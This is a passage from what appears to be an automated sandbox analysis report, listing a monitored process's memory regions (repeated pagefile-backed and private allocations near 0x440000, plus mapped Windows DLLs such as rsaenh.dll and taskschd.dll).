end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6226 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6227 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6228 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6229 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6230 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6231 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6232 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6233 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6234 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6235 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6236 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6237 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6238 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6239 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6240 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6241 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6242 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6243 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6244 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6245 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6246 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6247 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6248 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6249 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6250 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6251 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6252 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6253 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6254 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6255 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6256 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6257 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6258 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6259 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6260 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6261 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6262 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6263 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6264 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6265 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6266 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6267 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6268 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6269 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6270 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6271 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6272 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6273 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6274 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6275 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6276 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6277 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6278 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6279 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6280 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6281 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6282 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6283 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6284 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6285 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6286 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6287 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6288 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6289 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6290 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6291 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6292 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6293 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6294 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6295 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6296 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6297 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6298 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6299 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6300 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6301 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6302 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6303 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6304 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6305 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6306 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6307 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6308 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6309 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6310 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6311 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6312 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6313 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6314 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6315 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6316 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6317 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6318 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6319 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6320 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6321 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6322 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6323 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6324 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6325 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6326 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6327 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6328 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6329 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6330 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6331 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6332 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6333 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6334 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6335 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6336 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6337 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 6338 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6339 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6340 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6341 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6342 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6343 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6344 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6345 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6346 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6347 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6348 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6349 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6350 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6351 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6352 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6353 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6354 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6355 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6356 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6357 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6358 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6359 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6360 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6361 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6362 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6363 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6364 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6365 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6366 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6367 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6368 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6369 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6370 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6371 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6372 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6373 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6374 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6375 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6376 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6377 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6378 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6379 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6380 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6381 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6382 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6383 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6384 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6385 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6386 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6387 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6388 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6389 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6390 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6391 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6392 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6393 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6394 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6395 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6396 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6397 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6398 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6399 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6400 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6401 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6402 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6403 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6404 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6405 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6406 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6407 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6408 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6409 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6410 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6411 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6412 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6413 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6414 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6415 start_va = 0x7ffd4c100000 end_va = 0x7ffd4c133fff monitored = 0 entry_point = 0x7ffd4c11ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6416 start_va = 0x7ffd36820000 end_va = 0x7ffd368bbfff monitored = 0 entry_point = 0x7ffd368796a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 6417 start_va = 0x10150000 end_va = 0x101cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010150000" filename = "" Region: id = 6418 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6419 start_va = 0x7ffd492b0000 end_va = 0x7ffd4936efff monitored = 0 entry_point = 0x7ffd492d1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: 